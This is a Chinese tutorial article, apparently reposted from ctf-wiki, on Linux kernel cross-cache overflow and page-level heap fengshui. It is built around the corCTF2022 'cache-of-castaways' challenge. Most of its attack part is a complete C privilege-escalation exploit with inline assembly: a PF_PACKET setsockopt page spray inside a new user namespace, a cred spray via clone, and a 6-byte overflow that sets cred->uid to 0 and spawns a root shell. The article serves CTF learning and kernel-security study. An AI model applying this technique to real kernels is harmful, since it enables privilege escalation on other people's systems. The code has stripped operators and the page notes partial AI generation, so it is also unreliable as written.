ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

ctf-wiki 内核堆利用实战:Cross-Cache Overflow 与页级堆风水(corCTF2022 cache-of-castaways 完整解析)

ctf-wiki 内核堆利用实战:Cross-Cache Overflow 与页级堆风水(corCTF2022 cache-of-castaways 完整解析) 文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载本文基于 ctf-wiki 仓库中 cross-cache.md 展开。当你的溢出漏洞只能作用在某个独立kmem_cache内部、无法通过 slub 层常规堆风水命中目标结构体时Cross-Cache Overflow 与 Page-level Heap Fengshui 这套组合手法可以帮你把溢出发射到 buddy system 层面的相邻页面上从而对近乎任意的内核结构体如cred进行覆写。读完本文你将掌握基于PF_PACKETsocket setsockopt()的页级占位与排布技术并完整理解 corCTF2022 cache-of-castaways 从逆向分析到提权 EXP 的全过程。Cross-Cache Overflow跨越 kmem_cache 的堆溢出与此前一直关注的 slub allocator 各种利用手法不同Cross-Cache Overflow实际上是针对 buddy system的利用手法。其核心思路建立在两条前提之上slub allocator 的底层逻辑是向 buddy system 请求页面后再将页面划分成特定大小的 object 返还给上层调用者内存中用作不同kmem_cache的页面在物理内存上有可能相邻。于是若漏洞对象存在于页面 A溢出目标对象存在于页面 B且 A、B 两页面物理相邻我们便有可能实现跨越不同kmem_cache之间的堆溢出Cross-Cache Overflow 打破了不同kmem_cache之间的阻碍可以让溢出漏洞对近乎任意的内核结构体进行覆写。但达成这一点需要非常严苛的页级堆排布而内核堆页面布局对我们而言通常是未知的——因此我们需要想办法把它变成已知的内存布局这就需要页级堆风水Page-level Heap Fengshui。Page-level Heap Fengshui以页为粒度的内存排布页级堆风水即以内存页为粒度的内存排布方式。内核内存页的排布不仅未知且信息量巨大因此这种利用手法实际上是手工构造一个新的、已知的页级粒度内存页排布。前提一slub 向 buddy system 请求页面的时机回顾 slub allocator 的分配过程更完整的 allocator 机制可参考仓库内 heap_overview.md当 freelist page 已耗空且 partial 链表也为空时或者kmem_cache刚刚创建后进行第一次分配时slub 会向 buddy system 申请新页面前提二buddy system 的 order 分裂保证物理连续buddy system 的基本原理是以 2 的 order 次幂张内存页作为分配粒度相同 order 的空闲页面构成双向链表当低阶 order 的页面不够用时会从高阶 order 取一份连续内存页拆成两半其中一半挂回当前请求 order 链表另一半返还给上层调用者。下图以 order 2 为例展示了 buddy system 的页面分配基本原理由此可以推出一个关键结论从更高阶 order 拆分出的两份低阶 order 连续内存页是物理连续的。基于此我们可以构造如下页级布局向 buddy system 请求两份连续的物理内存页释放其中一份内存页在vulnerable kmem_cache上堆喷让该 cache 取走这份内存页释放另一份内存页在victim kmem_cache上堆喷让该 cache 取走这份内存页。此时我们便有可能从漏洞对象溢出到其他内核结构体上从而完成 cross-cache overflow。使用 setsockopt 与 pgv 完成页级内存占位与堆风水那么该如何完成这样的页占位与页排布呢一个经典方案来自 CVE-2017-7308Linux 内核 packet socket 漏洞的利用思路当我们创建一个 protocol 为PF_PACKET的 socket 之后先调用setsockopt()将PACKET_VERSION设为TPACKET_V1/TPACKET_V2再调用setsockopt()提交一个PACKET_TX_RING此时便存在如下调用链__sys_setsockopt() sock-ops-setsockopt() packet_setsockopt() // case PACKET_TX_RING ↓ packet_set_ring() alloc_pg_vec()在alloc_pg_vec()中会创建一个pgv结构体用于分配tp_block_nr份 2order张内存页其中order由tp_block_size决定static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order) { unsigned int block_nr req-tp_block_nr; struct pgv *pg_vec; int i; pg_vec kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN); if (unlikely(!pg_vec)) goto out; for (i 0; i block_nr; i) { pg_vec[i].buffer alloc_one_pg_vec_page(order); if (unlikely(!pg_vec[i].buffer)) goto out_free_pgvec; } out: return pg_vec; out_free_pgvec: free_pg_vec(pg_vec, order, block_nr); pg_vec NULL; goto out; }在alloc_one_pg_vec_page()中会直接调用__get_free_pages()向 buddy system 请求内存页因此我们可以利用该函数进行大量的页面请求static char *alloc_one_pg_vec_page(unsigned long order) { char *buffer; gfp_t gfp_flags GFP_KERNEL | __GFP_COMP | __GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY; buffer (char *) __get_free_pages(gfp_flags, order); if (buffer) return buffer; //... }相应地pgv中的页面也会在 socket 被关闭后释放packet_release() packet_set_ring() free_pg_vec()setsockopt()同样可以帮助完成页级堆风水当我们耗尽 buddy system 中的 low order pages 后再请求的页面便都是物理连续的此时再进行setsockopt()便相当于获取到一块近乎物理连续的內存之所以是近乎连续是因为大量的setsockopt()流程中同样会分配大量我们不需要的结构体从而消耗 buddy system 的部分页面。补充一点由于 slub pages 并不会在释放后立刻被返还给 buddy system因此在这种手法中我们最好寻找一些会直接调用向 buddy system 请求页面的 API 的结构如上述__get_free_pages()而不是依赖 slub 层的释放回流。例题corCTF2022 - cache-of-castaways下面以 corCTF2022 的 cache-of-castaways 一题仓库内文档位于 cross-cache.md为例完整走一遍从题目分析到写出提权 EXP 的过程。题目分析题目文件连kconfig都提供了便于确认内核编译选项$ tree . . ├── bzImage ├── initramfs.cpio.gz ├── kconfig └── run 0 directories, 4 files启动脚本基本是内核题标配的 SMEP、SMAP、KPTI 防护#!/bin/sh exec qemu-system-x86_64 \ -m 4096M \ -nographic \ -kernel bzImage \ -append consolettyS0 loglevel3 oopspanic panic-1 ption \ -netdev user,idnet \ -device e1000,netdevnet \ -no-reboot \ -monitor /dev/null \ -cpu qemu64,smep,smap \ -initrd initramfs.cpio.gz \启动脚本中加载了一个名为cache_of_castaway.ko的 LKM。将其丢进 IDA 分析在模块初始化时注册了设备并创建了一个kmem_cache分配 object 的 size 为512创建 flag 为SLAB_ACCOUNT | SLAB_PANIC同时开启了CONFIG_MEMCG_KMEMy——这意味着这是一个独立的kmem_cache不会与其他常用结构体混用__int64 init_module() { __int64 result; // rax castaway_dev 255; qword_8A8 (__int64)castaway; qword_8B0 (__int64)castaway_fops; _mutex_init(castaway_lock, castaway_lock, _key_28999); if ( !(unsigned int)misc_register(castaway_dev) (castaway_arr kmem_cache_alloc(kmalloc_caches[12], 3520LL)) ! 0 (castaway_cachep kmem_cache_create(castaway_cache, 0x200LL, 1LL, 0x4040000LL, 0LL)) ! 0 ) { result init_castaway_driver_cold(); } else { result 0xFFFFFFFFLL; } return result; }设备只定义了一个 ioctl其中包含分配与编辑堆块的功能且都有锁最多可以分配 400 个 object没有释放功能__int64 __fastcall castaway_ioctl(__int64 a1, int a2, __int64 a3) { __int64 v3; // r12 _QWORD *v5; // rbx unsigned __int64 v6[6]; // [rsp0h] [rbp-30h] BYREF v6[3] __readgsqword(0x28u); if ( a2 ! 0xCAFEBABE ) { if ( copy_from_user(v6, a3, 24LL) ) return -1LL; mutex_lock(castaway_lock); if ( a2 0xF00DBABE ) v3 castaway_edit(v6[0], v6[1], v6[2]); else v3 -1LL; LABEL_5: mutex_unlock(castaway_lock); return v3; } mutex_lock(castaway_lock); v3 castaway_ctr; if ( castaway_ctr 399 ) { castaway_ctr; v5 (_QWORD *)(castaway_arr 8 * v3); *v5 kmem_cache_alloc(castaway_cachep, 0x400DC0LL); if ( *(_QWORD *)(castaway_arr 8 * v3) ) goto LABEL_5; } return ((__int64 (*)(void))castaway_ioctl_cold)(); }漏洞便存在于编辑堆块的castaway_edit()中拷贝数据时会故意从object 6的地方开始拷贝从而存在一个6 字节的溢出。这里因为是先拷贝到内核栈上、再在内核空间中进行拷贝所以不会触发hardened usercopy的检查__int64 __fastcall castaway_edit(unsigned __int64 a1, size_t a2, __int64 a3) { char src[512]; // [rsp0h] [rbp-220h] BYREF unsigned __int64 v6; // [rsp200h] [rbp-20h] v6 __readgsqword(0x28u); if ( a1 0x18F ) return castaway_edit_cold(); if ( !*(_QWORD *)(castaway_arr 8 * a1) ) return castaway_edit_cold(); if ( a2 0x200 ) return castaway_edit_cold(); _check_object_size(src, a2, 0LL); if ( copy_from_user(src, a3, a2) ) return castaway_edit_cold(); memcpy((void *)(*(_QWORD *)(castaway_arr 8 * a1) 6LL), src, a2); return a2; }编辑堆块时应当向内核传入如下结构struct request { int64_t index; size_t size; void *buf; };漏洞利用Step.I - cross-cache overflow由于漏洞对象位于独立的kmem_cache中它不会与内核中的其他常用结构体的分配混用因此无法直接通过 slub 层的堆喷 堆风水来溢出到其他结构体同时slub 并不像 glibc 的 ptmalloc2 那样在每个 object 开头都有存储数据的 header而是将 next 指针放在一个随机的位置很难直接溢出到下一个 object 的 next 域——而且由于 hardened freelist 的存在就算能溢出到下一个相邻 object 的 next 域也无法构造出合法的指针此外与我们的 slub 页面相邻的页面上的数据是未知的直接溢出并不知道会覆盖到什么页面。那么问题来了真的没有办法了吗答案是否定的。重新审视 slub allocator当 freelist page 已耗空且 partial 链表也为空时或者kmem_cache刚刚创建后进行第一次分配时它会向 buddy system 申请页面见上文 slub-new-page 示意图。结合 buddy system 的 order 分裂机制见上文 buddy.gif 示意图从更高阶 order 拆分成的两份低阶 order 连续内存页物理连续若其中一份被我们的kmem_cache取走另一份被用于分配其他内核结构体的kmem_cache取走我们便有可能溢出到其他内核结构体上——这就是cross-cache overflow。具体的溢出对象也不难想6 个字节刚好足够溢出到cred结构体的uid字段完成提权。如何溢出到想要提权的进程的 cred 结构体呢先fork()堆喷 cred耗尽cred_jar中的 object让其向 buddy system 请求新的页面还需要先堆喷消耗 buddy system 中原有的页面之后再分配 cred 和题目 object两者便有较大概率相邻。cred的大小为192cred_jar向 buddy system 单次请求的页面数量为 1足够分配 21 个 cred因此不需要堆喷太多 cred 就能耗尽cred_jar。不过fork()在执行过程中会产生很多噪声即额外分配一些不需要的结构体从而影响页布局因此这里改用clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND)来减少噪声。由于 slub pages 并不会在释放后立刻被返还给 buddy system因此最好寻找一些会直接调用向 buddy system 请求页面的 API 的结构。这里选择参照官方 writeup 中借鉴 D3v17 在 CVE-2017-7308 中使用setsockopt()进行页喷射的方法创建 protocol 为PF_PACKET的 socket 后先调用setsockopt()将PACKET_VERSION设为TPACKET_V1/TPACKET_V2再调用setsockopt()提交PACKET_TX_RING进而触发packet_set_ring() → alloc_pg_vec() → __get_free_pages()的页分配调用链具体代码见上文。pgv中的页面会在 socket 被关闭后释放这方便了后续的页级堆风水。不过需要注意低权限用户无法使用该函数但可以通过开辟新的命名空间来绕过该限制。此外提权的进程不应与页喷射的进程处于同一命名空间内——后者需要开辟新的命名空间而我们应当在原本的命名空间完成提权。因此这里选择新开一个进程进行页喷射并使用管道在主进程与喷射进程之间通信。漏洞利用Step.II - page-level heap fengshui当耗尽 buddy system 中的 low order pages 后再请求的页面便都是物理连续的此时再进行setsockopt()便相当于获取到一块近乎物理连续的内存近乎连续的原因同上setsockopt()流程中同样会分配大量不需要的结构体。本题环境中题目的kmem_cache单次会向 buddy system 请求一张内存页而由于 buddy system 遵循LIFO因此可以利用如下排布策略先分配大量单张内存页耗尽 buddy 中的 low-order pages间隔一张内存页释放掉部分单张内存页之后堆喷 cred——这样便有几率获取到我们释放的单张内存页释放掉之前的间隔内存页调用漏洞函数分配堆块——这样便有几率获取到我们释放的间隔内存页利用模块中的漏洞进行越界写篡改cred-uid完成提权。子进程需要轮询等待自己的 uid 变为 root但这种做法不够优雅因此用一个新的管道在主进程与子进程之间通信当子进程从管道中读出 1 字节时便开始检查自己是否成功提权若未提权则直接 sleep。EXPLOIT最终的完整 EXP 如下关键参数PGV_PAGE_NUM 1000用于页喷射、CRED_SPRAY_NUM 514用于 cred 堆喷、VUL_OBJ_NUM 400为题目允许的最大漏洞对象数#define _GNU_SOURCE #include stdio.h #include stdlib.h #include unistd.h #include fcntl.h #include stdint.h #include string.h #include sched.h #include time.h #include sys/socket.h #include sys/ioctl.h #include sys/mman.h #include sys/types.h #include sys/wait.h #define PGV_PAGE_NUM 1000 #define PGV_CRED_START (PGV_PAGE_NUM / 2) #define CRED_SPRAY_NUM 514 #define PACKET_VERSION 10 #define PACKET_TX_RING 13 #define VUL_OBJ_NUM 400 #define VUL_OBJ_SIZE 512 #define VUL_OBJ_PER_SLUB 8 #define VUL_OBJ_SLUB_NUM (VUL_OBJ_NUM / VUL_OBJ_PER_SLUB) struct tpacket_req { unsigned int tp_block_size; unsigned int tp_block_nr; unsigned int tp_frame_size; unsigned int tp_frame_nr; }; enum tpacket_versions { TPACKET_V1, TPACKET_V2, TPACKET_V3, }; struct castaway_request { int64_t index; size_t size; void *buf; }; struct page_request { int idx; int cmd; }; enum { CMD_ALLOC_PAGE, CMD_FREE_PAGE, CMD_EXIT, }; struct timespec timer { .tv_sec 1145141919, .tv_nsec 0, }; int dev_fd; int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2]; char bin_sh_str[] /bin/sh; char *shell_args[] { bin_sh_str, NULL }; char child_pipe_buf[1]; char root_str[] \033[32m\033[1m[] Successful to get the root.\n \033[34m[*] Execve root shell now...\033[0m\n; void err_exit(char *msg) { printf(\033[31m\033[1m[x] Error: %s\033[0m\n, msg); exit(EXIT_FAILURE); } void alloc(void) { ioctl(dev_fd, 0xCAFEBABE); } void edit(int64_t index, size_t size, void *buf) { struct castaway_request r { .index index, .size size, .buf buf, }; ioctl(dev_fd, 0xF00DBABE, r); } int waiting_for_root_fn(void *args) { /* were using the same stack for them, so we need to avoid cracking it.. */ __asm__ volatile ( lea rax, [check_root_pipe]; xor rdi, rdi; mov edi, dword ptr [rax]; mov rsi, child_pipe_buf; mov rdx, 1; xor rax, rax; /* read(check_root_pipe[0], child_pipe_buf, 1)*/ syscall; mov rax, 102; /* getuid() */ syscall; cmp rax, 0; jne failed; mov rdi, 1; lea rsi, [root_str]; mov rdx, 80; mov rax, 1; /* write(1, root_str, 71) */ syscall; lea rdi, [bin_sh_str]; lea rsi, [shell_args]; xor rdx, rdx; mov rax, 59; syscall; /* execve(/bin/sh, args, NULL) */ failed: lea rdi, [timer]; xor rsi, rsi; mov rax, 35; /* nanosleep() */ syscall; ); return 0; } void unshare_setup(void) { char edit[0x100]; int tmp_fd; unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET); tmp_fd open(/proc/self/setgroups, O_WRONLY); write(tmp_fd, deny, strlen(deny)); close(tmp_fd); tmp_fd open(/proc/self/uid_map, O_WRONLY); snprintf(edit, sizeof(edit), 0 %d 1, getuid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); tmp_fd open(/proc/self/gid_map, O_WRONLY); snprintf(edit, sizeof(edit), 0 %d 1, getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); } int create_socket_and_alloc_pages(unsigned int size, unsigned int nr) { struct tpacket_req req; int socket_fd, version; int ret; socket_fd socket(AF_PACKET, SOCK_RAW, PF_PACKET); if (socket_fd 0) { printf([x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n); ret socket_fd; goto err_out; } version TPACKET_V1; ret setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, version, sizeof(version)); if (ret 0) { printf([x] failed at setsockopt(PACKET_VERSION)\n); goto err_setsockopt; } memset(req, 0, sizeof(req)); req.tp_block_size size; req.tp_block_nr nr; req.tp_frame_size 0x1000; req.tp_frame_nr (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; ret setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, req, sizeof(req)); if (ret 0) { printf([x] failed at setsockopt(PACKET_TX_RING)\n); goto err_setsockopt; } return socket_fd; err_setsockopt: close(socket_fd); err_out: return ret; } __attribute__((naked)) long simple_clone(int flags, int (*fn)(void *)) { /* for syscall, its clone(flags, stack, ...) */ __asm__ volatile ( mov r15, rsi; /* save the rsi*/ xor rsi, rsi; /* set esp and useless args to NULL */ xor rdx, rdx; xor r10, r10; xor r8, r8; xor r9, r9; mov rax, 56; /* __NR_clone */ syscall; cmp rax, 0; je child_fn; ret; /* parent */ child_fn: jmp r15; /* child */ ); } int alloc_page(int idx) { struct page_request req { .idx idx, .cmd CMD_ALLOC_PAGE, }; int ret; write(cmd_pipe_req[1], req, sizeof(struct page_request)); read(cmd_pipe_reply[0], ret, sizeof(ret)); return ret; } int free_page(int idx) { struct page_request req { .idx idx, .cmd CMD_FREE_PAGE, }; int ret; write(cmd_pipe_req[1], req, sizeof(req)); read(cmd_pipe_reply[0], ret, sizeof(ret)); return ret; } void spray_cmd_handler(void) { struct page_request req; int socket_fd[PGV_PAGE_NUM]; int ret; /* create an isolate namespace*/ unshare_setup(); /* handler request */ do { read(cmd_pipe_req[0], req, sizeof(req)); if (req.cmd CMD_ALLOC_PAGE) { ret create_socket_and_alloc_pages(0x1000, 1); socket_fd[req.idx] ret; } else if (req.cmd CMD_FREE_PAGE) { ret close(socket_fd[req.idx]); } else { printf([x] invalid request: %d\n, req.cmd); } write(cmd_pipe_reply[1], ret, sizeof(ret)); } while (req.cmd ! CMD_EXIT); } int main(int aragc, char **argv, char **envp) { cpu_set_t cpu_set; char th_stack[0x1000], buf[0x1000]; /* to run the exp on the specific core only */ CPU_ZERO(cpu_set); CPU_SET(0, cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), cpu_set); dev_fd open(/dev/castaway, O_RDWR); if (dev_fd 0) { err_exit(FAILED to open castaway device!); } /* use a new process for page spraying */ pipe(cmd_pipe_req); pipe(cmd_pipe_reply); if (!fork()) { spray_cmd_handler(); exit(EXIT_SUCCESS); } /* make buddys lower order clean, castaway_requesting from higher */ puts([*] spraying pgv pages...); for (int i 0; i PGV_PAGE_NUM; i) { if(alloc_page(i) 0) { printf([x] failed at no.%d socket\n, i); err_exit(FAILED to spray pages via socket!); } } /* free pages for cred */ puts([*] freeing for cred pages...); for (int i 1; i PGV_PAGE_NUM; i 2){ free_page(i); } /* spray cred to get the isolate pages we released before */ puts([*] spraying cred...); pipe(check_root_pipe); for (int i 0; i CRED_SPRAY_NUM; i) { if (simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn) 0){ printf([x] failed at cloning %d child\n, i); err_exit(FAILED to clone()!); } } /* free pages for our vulerable objects */ puts([*] freeing for vulnerable pages...); for (int i 0; i PGV_PAGE_NUM; i 2){ free_page(i); } /* spray vulnerable objects, hope that we can make an oob-write to cred */ puts([*] trigerring vulnerability in castaway kernel module...); memset(buf, \0, 0x1000); *(uint32_t*) buf[VUL_OBJ_SIZE - 6] 1; /* cred-usage */ for (int i 0; i VUL_OBJ_NUM; i) { alloc(); edit(i, VUL_OBJ_SIZE, buf); } /* checking privilege in child processes */ puts([*] notifying child processes and waiting...); write(check_root_pipe[1], buf, CRED_SPRAY_NUM); sleep(1145141919); return 0; }EXP 的整体执行流程可以概括为CPU 亲和性固定sched_setaffinity将主进程绑定到核心 0减少多核并发对页排布的扰动页喷射进程fork()出一个子进程子进程先unshare_setup()开辟新的 user/network namespace绕过低权限用户无法创建PF_PACKETsocket 的限制再通过管道循环响应主进程的CMD_ALLOC_PAGE/CMD_FREE_PAGE请求耗尽 low order pages主进程通过管道让喷射进程创建 1000 个tp_block_size0x1000、tp_block_nr1的 socket即向 buddy system 请求 1000 张 order 0 页面释放奇数页 堆喷 cred关闭奇数下标 socket释放页面随后simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, ...)堆喷 514 个 cred低噪声克隆方式让cred_jar按 LIFO 取走刚释放的页面释放偶数页 堆喷漏洞对象关闭偶数下标 socket再调用模块ioctl(0xCAFEBABE)分配 400 个 512 字节漏洞对象使漏洞对象的 slub 页与 cred 页物理相邻越界写提权对每个漏洞对象调用edit()写入 512 字节内容并在buf[512-6]处置 4 字节的cred-usage 1——由于拷贝从object 6开始这 6 字节偏移恰好把越界部分对准相邻 cred 页中的cred-uid等字段将子进程 uid 篡改为 0管道通知 root shell主进程向check_root_pipe写入 1 字节子进程读取后调用getuid()检查是否已提权成功则输出提示并execve(/bin/sh)拿到 root shell。延伸阅读该手法的姊妹篇——Page-level UAF针对page结构体的释放后利用可通过内存页重分配将 UAF page 变为指定kmem_cache的 slub pages实现无限制的跨kmem_cacheUAF见仓库内 page-uaf.mdslub 层的常规堆喷与堆风水手法见 spray.mdUAF 手法见 uaf.mdbuddy system 与 slub allocator 的底层机制完整讲解见 heap_overview.md。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐CTF-Wiki 内核堆利用堆喷射Heap Spray实战解析——以 RWCTF2023 Digging into kernel 3 为例CTF Wiki 内核堆利用堆喷射Heap Spray实战解析——以 RWCTF2023 Digging into kernel 3 为例 本文是 CTF文档网络安全教程ctf-wiki 堆利用系列House Of Force 原理、chunk 尺寸计算与实战ctf wiki 堆利用系列House Of Force 原理、chunk 尺寸计算与实战 House Of Force下称 HOF是 glibc ptm文档网络安全教程ctf-wiki 堆利用系列House of Lore 攻击原理与 glibc Small Bin 实战剖析ctf wiki 堆利用系列House of Lore 攻击原理与 glibc Small Bin 实战剖析 House of Lore 是 ctf wiki文档网络安全教程上一篇Yuedu书源更新提醒勿扰时段设置自定义时间下一篇Warp中间件开发终极指南扩展Web服务器功能的完整教程创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表